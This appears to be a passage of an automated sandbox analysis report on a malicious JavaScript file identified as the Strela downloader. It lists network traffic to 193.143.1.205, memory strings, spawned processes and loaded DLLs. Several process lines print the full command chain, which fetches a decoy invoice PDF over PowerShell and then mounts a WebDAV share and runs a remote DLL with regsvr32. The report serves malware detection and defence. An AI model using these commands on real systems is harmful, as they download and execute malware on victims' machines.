20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2134435634.000002EEBECC5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135096237.000002EEC0A86000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2135933017.000002EEBECA1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136100390.000002EEC0A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2189115442.000002547990B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189115442.00000254798D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2189115442.000002547992A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2189115442.000002547990B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000007.00000002.2189115442.00000254798D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/yT
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2190436670.000002762BB20000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5012, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24755260942519232167.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3580:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azfu5kii.xap.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 24755260942519232167.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1772,i,15525011413894841716,3082216128008660101,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1772,i,15525011413894841716,3082216128008660101,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
